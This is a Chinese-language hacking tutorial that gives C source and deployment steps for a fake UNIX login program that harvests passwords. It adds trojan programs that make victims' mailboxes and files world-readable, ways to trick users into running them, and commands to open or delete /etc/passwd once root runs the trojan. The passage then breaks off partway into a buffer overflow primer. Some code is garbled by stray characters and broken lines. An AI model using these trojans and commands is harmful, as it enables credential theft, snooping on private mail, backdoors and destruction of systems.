|
在系统上将下列源码生成文件'horse.c'. 因为系统有不同的版本,你可能需要修改前8行.
----- Code Begins Here -----
/* this is what a 'C' comment looks like. You
can leave them out. */
/* #define's are like macros you can use for
configuration. */
#define SYSTEM " Tiburon Systems 4.2bsd UNIX
(shark) "
/* The above string should be made to look
like the message that your
* system prints when ready. Each represents a
carriage return.
*/
#define LOGIN "login: "
/* The above is the login prompt. You
shouldn't have to change it
* unless you're running some strange version
of UNIX.
*/
#define PASSWORD "password:"
/* The above is the password prompt. You
shouldn't have to change
* it, either.
*/
#define WAIT 2
/* The numerical value assigned to WAIT is the
delay you get after
* "password:" and before "login incorrect."
Change it (0 = almost
* no delay, 5 = LONG delay) so it looks like
your system's delay.
* realism is the key here - we don't want our
target to become
* suspicious.
*/
#define INCORRECT "Login incorrect. "
/* Change the above so it is what your system
says when an incorrect
* login is given. You shouldn't have to change
it.
*/
#define FILENAME "stuff"
/* FILENAME is the name of the file that the
hacked passwords will
* be put into automatically. 'stuff' is a
perfectly good name.
*/
/* Don't change the rest of the program unless
there is a need to
* and you know 'C'.
*/
#include <curses.h>
#include <signal.h>
int stop();
main()
{char name[10], password[10];
int i;
FILE *fp, *fopen();
signal(SIGINT,stop);
initscr();
printf(SYSTEM);
printf(LOGIN);
scanf("%[^ ]",name);
getchar();
noecho();
printf(PASSWORD);
scanf("%[^ ]",password);
printf(" ");
getchar();
echo();
sleep(WAIT);
if ( ( fp = fopen(FILENAME,"a") ) != NULL ) {
#fprintf(fp,"login %s has password %s
",name,password);
#fclose(fp);
#}
printf(INCORRECT);
endwin();
stop()
{
endwin();
exit(0);
}
----- Source Ends Here -----
好了,完成上述工作并调试,使得它看上去就象你的系统的登录过程.用下列两行来编译'horse.c': (不要打' %'s, 那是一种提示符)
% cc horse.c -lcurses -ltermcap
% mv a.out horse
现在你有了这个能工作的horse程序. 运行一下,如果它看上去不象系统的登录过程,你得重新编辑horse.c 并重新编译.当你准备好运行该程序时,你应先建立一
个新文件如'trap'或其它名字. 'trap' 应包含下列两行命令:horse (这条运行你的程序)
login (这条运行真正的登录程序)
执行 'trap' 输入:
% source trap (不要打 %)
然后你就可以离开终端,等待...
等你运行这程序几次后,检查一下文档'stuff'(或其他你所指定的文档).它看上去是这样:
user john has password secret
user mary has password smegmaetc.
记录口令,并删除该文档(如果系统管理员看到,那就大事不妙).
注意 - 为取得最好效果,终端应设置成无用户暂停模式--这样一来你的horse程序才不会空转在连续几小时无人使用的终端上.
下一个步骤是如何运作在远程系统上,如你以侵入的Michigan的VAX,或Dartmouth的UNIX系统或其他的系统. 不过这需要一些'C'语言的知识.那些并不适合UNIX的初学者.
步骤二:阅读任何人的文档
当你运行程序,这其实是一个建立运作并让那程序干它所能干的事,如删除你指定目录下的文档或建立一个有效的能让任何人阅读的文档.当人们在UNIX系统上保存以阅读的邮件,邮件以文档的形式被保存在他们的主目录下的 mbox这些文档通常阅读起来很有意思,但通常只是文档的所有者能阅读并非所有人都有这权利.这里有一个小程序能解开(也就是说 chmod 777, 或让系统上的任何人都能读,写,执行)那个运行此程序
的人的 mbox 中的文档:
----- Code Begins Here -----
#include <pwd.h>
struct passwd *getpwnam(name);
struct passwd *p;
char buf[255];
main()
{
p = getpwnam(getlogin());
sprintf(buf,"%s/%s",p->pw_dir,"mbox");
if ( access(buf,0) > -1 ) {
sprintf(buf,"chmod 777 %s/%s",p-
>pw_dir,"mbox");
system(buf);
}
}
----- Code Ends Here -----
问题在于如何让我的目标运行在我的目录下的这个程序?
如果你所在的系统有public-messages (在4.xbsd的系统上, 输入'msgs')你就能在那儿发表你的程序.将上述代码写入另一个程序中,找一个有用的或一个游戏程序(通常能在 UNIX WORLD 一类杂志中找到),修该它们,使它们能先完成上述任务然后再完成本来任务.如果你有一个叫tic-tac-toe的程序并且你已经修改了它,让它来解开用户的mbox中的文档在让他们运行tic-tac-toe之前,你得宣扬 "我有一个新的tic- tac-toe程序,你们都该试试.它就在我的目录下."或者别的什么的.如果你不想通过公共通告告诉所有人,那么就通过邮件发给那些你想捕捉的人.如果你不能
找到一个真正的程序来修改,就用上面的程序并在两个'}'之间加这么一行,在程序的末尾加上:
printf("Error opening tic-tac-toe data file.
Sorry! ");
当该程序运行时,它就会显示上面那条错误的信息.用户会想"嘿,那家伙连一个简单的 tic-tac-toe 程序都不会写."其实真正被捉弄的人是他自己,你现在能阅读他的邮件了.
如果在用户的目录下有一个指定的文件想看 (比如叫"secret"),你只要把下面的程序一起发给用户:
main()
{
if ( access("secret",0) > -1 ) system("chmod
777 secret");
}
然后表现得象 Joe Loser并告诉他: "我写了一个叫'超级星球大战'的程序,你想试试吗?"你应该充分发挥你的想象力.想出一些指令让那些人执行,并把它们以C语言程序的形式放在系统中.然后引诱那些人来运行你的程序.这儿有个非常巧妙地利用上述技巧的方法:
步骤三:成为超级用户
写一个程序让别人运行.在程序中加入这行:
if ( !strcmp(getlogin(),"root") ) system
("whatever you want");
这是为检查root是否在运行你的程序. 如果是,你就能让他执行任何你想执行的shell命令你能让他执行下列命令:
"chmod 666 /etc/passwd"
/etc/passwd 是系统的口令存放文档. 只有root 拥有这个文档.通常所有的用户
都能读它(口令已被编码), 但是只有 root 能改写它.如果你以前没有看过,你得好好看看它的格式. 这条命令能让你往该文档中写东西. 也就是说为你和你的朋友建立不受限制的帐户.
"chmod 666 /etc/group"
通过把你加入到高权限的组中, 你能留很多后门.
"chmod 666 /usr/lib/uucp/L.sys"
如果在uucp网上,找一下系统中的着个文档. 它包含有连到网上其他系统的拨号联接及口令, 通常只有uucp管理员能读. 找到谁拥有这个文档,然后让他不知不觉地运行那个能让你解开该文档的程序.
"rm /etc/passwd"
如果你能取得 root 的权限,运行着条命令, 系统的passwd 文档就会被移走,系统会被停下而且在短期内不能恢复.这样做回造成巨大的损失.
如果你准备将特洛伊木马程序添加到你的系统中,你应遵守几条规则.如果是为了不可告人的目的(如解开用户的mbox或删除他的所有文件或其他什么的) 这个程序不可能是一个能让别人运行多次的程序,因为一旦人们发现他们的文件都已公开,问题的根源就很容易被发现.如果是以一个'测试'程序为目的(如你正在写的一个游戏程序),你能通过邮件要求不同的人来运行或和他们讨论.正如我所说,这个'测试'程序当完成任务时能显示假的错误信息,你就可以告诉那人"唔,我想它应改进", 等到他们离开,你就能读任何你解开的文档了.如果你的特洛伊木马程序只是为用来找到
特殊的用户,如root或其他的拥有很高权限的用户,你可以将代码加入到系统中那些用户使用频率比较高的程序中. 你的修改会潜伏着直到他运行那程序. 如果你不能找到能让你'星际旅行'的源程序或其他的C语言程序,你只要学了C语言并从pascal中变换过一些来. 学习C语言并没有什么损失,因为它是一种非常了不起的语言.我们已经看到它能在UNIX系统上所能干的.一旦你抓到 root (也就是说你已经可以修改/etc/passwd 文档) 从你的特洛伊木马程序中删除伪造用的代码,这样一来你就永远不会被抓了.
Buffer Overflow 机理剖析
使用Buffer Overflow 方法来入侵目的主机是黑客们经常采用的一种手段,本文将几篇介绍其机理的文章作了一些加工整理, 对它的机理作出了由浅入深的剖析.
本文分为下面几个部分, 朋友们可以按照自己的兴趣选择不同的章节:
关于堆栈的基础知识
Buffer Overflow 的原理
Shell Code 的编写
实际运用中遇到的问题
附录
1. 关于堆栈的基础知识
一个应用程序在运行时,它在内存中的映像可以分为三个部分: 代码段 , 数据段和堆栈段. 代码段对应与运行文件中的 Text Section ,其中包括运行代码和只读数据, 这个段在内存中一般被标记为只读 , 任何企图修改这个段中数据的指令将引发一个 Segmentation Violation 错误. 数据段对应与运行文件中的 Data Section 和 BSS Section ,其中存放的是各种数据(经过初始化的和未经初始化的)和静态变量.
下面我们将详细介绍一下堆栈段.
|--------| 虚存低端
| |
| 代码段 |
| |
|--------|
| |
| 数据段 |
| |
|--------|
| |
| 堆栈段 |
| |
|--------| 虚存高端
堆栈是什么?
如果你学过<<数据结构>>这门课的话, 就会知道堆栈是一种计算机中经常用到的抽象数据类型. 作用于堆栈上的操作主要有两个: Push 和 Pop , 既压入和弹
出. 堆栈的特点是LIFO(Last in , First out), 既最后压入堆栈的对象最先被弹出堆栈.
堆栈段的作用是什么?
现在大部分程序员都是在用高级语言进行模块化编程, 在这些应用程序中,不可避免地会出现各种函数调用, 比如调用C 运行库,Win32 API 等等. 这些调用大部分都被编译器编译为Call语句. 当CPU 在执行这条指令时, 除了将IP变为调用函数的入口点以外, 还要将调用后的返回地址放入堆栈. 这些函数调用往往还带有不同数量的入口参数和局部变量, 在这种情况下,编译器往往会生成一些指令将这些数据也存入堆栈(有些也可通过寄存器传递).
我们将一个函数调用在堆栈中存放的这些数据和返回地址称为一个栈帧(Stack Frame).
栈帧的结构:
下面我们通过一个简单的例子来分析一下栈帧的
结构.
void proc(int i)
{
int local;
local=i;
}
void main()
{
proc(1);
}
这段代码经过编译器后编译为:(以PC为例)
main:push 1
call proc
...
proc:push ebp
mov ebp,esp
sub esp,4
mov eax,[ebp+08]
mov [ebp-4],eax
add esp,4
pop ebp
ret 4
下面我们分析一下这段代码.
main:push 1
call proc
首先, 将调用要用到的参数1压入堆栈,然后call
proc
proc:push ebp
mov ebp,esp
我们知道esp指向堆栈的顶端,在函数调用时,各个参数和局部变量在堆栈中的位置只和esp有关系,如可通过[esp+4]存取参数1. 但随着程序的运行,堆栈中放入了新的数据,esp也随之变化,这时就不能在通过[esp+4]来存取1了. 因此, 为了便于参数和变量的存取, 编译器又引入了一个基址寄存器ebp, 首先将ebp 的原值存入堆栈,然后将esp的值赋给ebp,这样以后就可以一直使用[ebp+8]来存取参数1了.
sub esp,4
将esp减4,留出一个int的位置给局部变量 local 使用, local可通过[ebp-4]来存取
mov eax,[ebp+08]
mov [ebp-4],eax
就是 local=i;
add esp,4
pop ebp
ret 4
首先esp加4,收回局部变量的空间,然后pop ebp, 恢复ebp原值,最后 ret 4,从堆栈中取得返回地址,将EIP改为这个地址,并且将esp加4,收回参数所占的空间.
不难看出,这个程序在执行proc过程时,栈帧的结构如
下:
4 4 4 4
[local] [ebp] [ret地址] [参数1] 内存高端
| |
esp(栈顶)ebp
因此,我们可以总结出一般栈帧的结构:
..[local1][local2]..[localn][ebp][ret地
址][参数1][参数2]..[参数n]
| |
esp(栈顶) ebp
了解了栈帧的结构以后,现在我们可以来看一下
Buffer overflow 的机理了.
2. Buffer Overflow 的机理
我们先举一个例子说明一下什么是 Buffer Overflow
:
void function(char *str)
{
char buffer[16];
strcpy(buffer,str);
}
void main()
{
char large_string[256];
int i;
for( i = 0; i < 255; i++)
large_string[i] = 'A';
function(large_string);
}
这段程序中就存在 Buffer Overflow 的问题. 我们可以看到, 传递给function的字符串长度要比buffer 大很多,而function没有经过任何长度校验直接用
strcpy将长字符串拷入buffer. 如果你执行这个程序的话,系统会报告一个 Segmentation Violation 错误.下面我们就来分析一下为什么会这样? |
|